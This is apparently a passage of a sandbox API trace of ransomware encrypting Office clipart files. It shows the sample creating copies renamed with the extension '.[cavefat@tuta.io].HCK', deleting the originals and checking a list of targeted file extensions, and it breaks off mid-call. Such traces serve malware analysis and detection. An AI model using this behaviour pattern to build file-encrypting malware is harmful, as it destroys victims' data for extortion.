[0170.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200289.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0170.731] GetLastError () returned 0x0 [0170.731] ReadFile (in: hFile=0x38c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xa0b0, lpOverlapped=0x0) returned 1 [0170.733] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xa0c0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xa0c0, lpOverlapped=0x0) returned 1 [0170.735] ReadFile (in: hFile=0x38c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.735] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.735] SetEndOfFile (hFile=0x380) returned 1 [0170.737] CloseHandle (hObject=0x380) returned 1 [0170.739] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.739] SetEndOfFile (hFile=0x38c) returned 1 [0170.743] CloseHandle (hObject=0x38c) returned 1 [0170.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.746] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200289.wmf")) returned 1 [0170.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF") returned 68 [0170.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF") returned 68 [0170.747] lstrlenW (lpString=".doc") returned 4 [0170.747] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.747] lstrlenW (lpString=".docx") returned 5 [0170.747] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.747] lstrlenW (lpString=".pdf") returned 4 [0170.747] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.747] lstrlenW (lpString=".xls") returned 4 [0170.747] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.747] lstrlenW (lpString=".xlsx") returned 5 [0170.747] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.747] lstrlenW (lpString=".ppt") returned 4 [0170.747] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF") returned 68 [0170.747] lstrlenW (lpString=".zip") returned 4 [0170.747] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.747] lstrlenW (lpString=".rar") returned 4 [0170.747] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.747] lstrlenW (lpString=".bz2") returned 4 [0170.747] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.748] lstrlenW (lpString=".7z") returned 3 [0170.748] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF") returned 68 [0170.748] lstrlenW (lpString=".dbf") returned 4 [0170.748] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF") returned 68 [0170.748] lstrlenW (lpString=".1cd") returned 4 [0170.748] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF") returned 68 [0170.748] lstrlenW (lpString=".jpg") returned 4 [0170.748] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF") returned 68 [0170.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF") returned 68 [0170.748] lstrlenW (lpString=".doc") returned 4 [0170.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.748] lstrlenW (lpString=".docx") returned 5 [0170.748] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.748] lstrlenW (lpString=".pdf") returned 4 [0170.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.748] lstrlenW (lpString=".xls") returned 4 [0170.748] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.748] lstrlenW (lpString=".xlsx") returned 5 [0170.748] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.748] lstrlenW (lpString=".ppt") returned 4 [0170.748] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF") returned 68 [0170.748] lstrlenW (lpString=".zip") returned 4 [0170.748] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.748] lstrlenW (lpString=".rar") returned 4 [0170.748] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.748] lstrlenW (lpString=".bz2") returned 4 [0170.748] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.748] lstrlenW (lpString=".7z") returned 3 [0170.748] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF") returned 68 [0170.748] lstrlenW (lpString=".dbf") returned 4 [0170.748] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF") returned 68 [0170.748] lstrlenW (lpString=".1cd") returned 4 [0170.748] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF") returned 68 [0170.748] lstrlenW (lpString=".jpg") returned 4 [0170.748] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.748] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.748] lstrlenW (lpString="J0200521.WMF") returned 12 [0170.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200521.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.752] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=10046) returned 1 [0170.752] CloseHandle (hObject=0x370) returned 1 [0170.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200521.wmf")) returned 0x220 [0170.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200521.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200521.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0170.764] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.764] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200521.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.768] GetLastError () returned 0x0 [0170.768] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x273e, lpOverlapped=0x0) returned 1 [0170.769] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x2740, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x2740, lpOverlapped=0x0) returned 1 [0170.770] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.770] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.771] SetEndOfFile (hFile=0x39c) returned 1 [0170.773] CloseHandle (hObject=0x39c) returned 1 [0170.775] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.775] SetEndOfFile (hFile=0x308) returned 1 [0170.777] CloseHandle (hObject=0x308) returned 1 [0170.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.781] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200521.wmf")) returned 1 [0170.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF") returned 68 [0170.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF") returned 68 [0170.786] lstrlenW (lpString=".doc") returned 4 [0170.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.786] lstrlenW (lpString=".docx") returned 5 [0170.786] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0170.786] lstrlenW (lpString=".pdf") returned 4 [0170.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.786] lstrlenW (lpString=".xls") returned 4 [0170.786] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.786] lstrlenW (lpString=".xlsx") returned 5 [0170.786] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0170.786] lstrlenW (lpString=".ppt") returned 4 [0170.786] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF") returned 68 [0170.786] lstrlenW (lpString=".zip") returned 4 [0170.786] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.786] lstrlenW (lpString=".rar") returned 4 [0170.786] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.786] lstrlenW (lpString=".bz2") returned 4 [0170.786] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.786] lstrlenW (lpString=".7z") returned 3 [0170.786] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF") returned 68 [0170.786] lstrlenW (lpString=".dbf") returned 4 [0170.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF") returned 68 [0170.786] lstrlenW (lpString=".1cd") returned 4 [0170.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF") returned 68 [0170.786] lstrlenW (lpString=".jpg") returned 4 [0170.786] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF") returned 68 [0170.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF") returned 68 [0170.786] lstrlenW (lpString=".doc") returned 4 [0170.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.786] lstrlenW (lpString=".docx") returned 5 [0170.786] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0170.786] lstrlenW (lpString=".pdf") returned 4 [0170.787] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.787] lstrlenW (lpString=".xls") returned 4 [0170.787] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.787] lstrlenW (lpString=".xlsx") returned 5 [0170.787] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0170.787] lstrlenW (lpString=".ppt") returned 4 [0170.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF") returned 68 [0170.787] lstrlenW (lpString=".zip") returned 4 [0170.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.787] lstrlenW (lpString=".rar") returned 4 [0170.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.787] lstrlenW (lpString=".bz2") returned 4 [0170.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.787] lstrlenW (lpString=".7z") returned 3 [0170.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF") returned 68 [0170.787] lstrlenW (lpString=".dbf") returned 4 [0170.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF") returned 68 [0170.787] lstrlenW (lpString=".1cd") returned 4 [0170.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200521.WMF") returned 68 [0170.787] lstrlenW (lpString=".jpg") returned 4 [0170.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.787] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.787] lstrlenW (lpString="J0212299.WMF") returned 12 [0170.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212299.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.795] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=6158) returned 1 [0170.795] CloseHandle (hObject=0x370) returned 1 [0170.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212299.wmf")) returned 0x220 [0170.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212299.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212299.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0170.806] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.806] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212299.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.809] GetLastError () returned 0x0 [0170.809] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x180e, lpOverlapped=0x0) returned 1 [0170.811] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1810, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1810, lpOverlapped=0x0) returned 1 [0170.812] ReadFile (in: hFile=0x380, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.812] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.812] SetEndOfFile (hFile=0x370) returned 1 [0170.813] CloseHandle (hObject=0x370) returned 1 [0170.815] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.815] SetEndOfFile (hFile=0x380) returned 1 [0170.818] CloseHandle (hObject=0x380) returned 1 [0170.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212299.wmf")) returned 1 [0170.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF") returned 68 [0170.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF") returned 68 [0170.822] lstrlenW (lpString=".doc") returned 4 [0170.822] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.822] lstrlenW (lpString=".docx") returned 5 [0170.822] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.822] lstrlenW (lpString=".pdf") returned 4 [0170.822] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.822] lstrlenW (lpString=".xls") returned 4 [0170.822] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.822] lstrlenW (lpString=".xlsx") returned 5 [0170.822] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.822] lstrlenW (lpString=".ppt") returned 4 [0170.822] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF") returned 68 [0170.822] lstrlenW (lpString=".zip") returned 4 [0170.822] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.822] lstrlenW (lpString=".rar") returned 4 [0170.822] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.822] lstrlenW (lpString=".bz2") returned 4 [0170.822] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.822] lstrlenW (lpString=".7z") returned 3 [0170.822] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF") returned 68 [0170.822] lstrlenW (lpString=".dbf") returned 4 [0170.822] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF") returned 68 [0170.822] lstrlenW (lpString=".1cd") returned 4 [0170.822] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF") returned 68 [0170.822] lstrlenW (lpString=".jpg") returned 4 [0170.822] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF") returned 68 [0170.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF") returned 68 [0170.822] lstrlenW (lpString=".doc") returned 4 [0170.822] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.822] lstrlenW (lpString=".docx") returned 5 [0170.822] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.823] lstrlenW (lpString=".pdf") returned 4 [0170.823] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.823] lstrlenW (lpString=".xls") returned 4 [0170.823] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.823] lstrlenW (lpString=".xlsx") returned 5 [0170.823] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.823] lstrlenW (lpString=".ppt") returned 4 [0170.823] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF") returned 68 [0170.823] lstrlenW (lpString=".zip") returned 4 [0170.823] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.823] lstrlenW (lpString=".rar") returned 4 [0170.823] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.823] lstrlenW (lpString=".bz2") returned 4 [0170.823] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.823] lstrlenW (lpString=".7z") returned 3 [0170.823] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF") returned 68 [0170.823] lstrlenW (lpString=".dbf") returned 4 [0170.823] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF") returned 68 [0170.823] lstrlenW (lpString=".1cd") returned 4 [0170.823] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF") returned 68 [0170.823] lstrlenW (lpString=".jpg") returned 4 [0170.823] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.823] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.823] lstrlenW (lpString="J0212953.WMF") returned 12 [0170.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212953.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0170.828] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=7498) returned 1 [0170.828] CloseHandle (hObject=0x30c) returned 1 [0170.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212953.wmf")) returned 0x220 [0170.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212953.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212953.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.837] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.837] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212953.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0212953.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0170.844] GetLastError () returned 0x0 [0170.844] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, 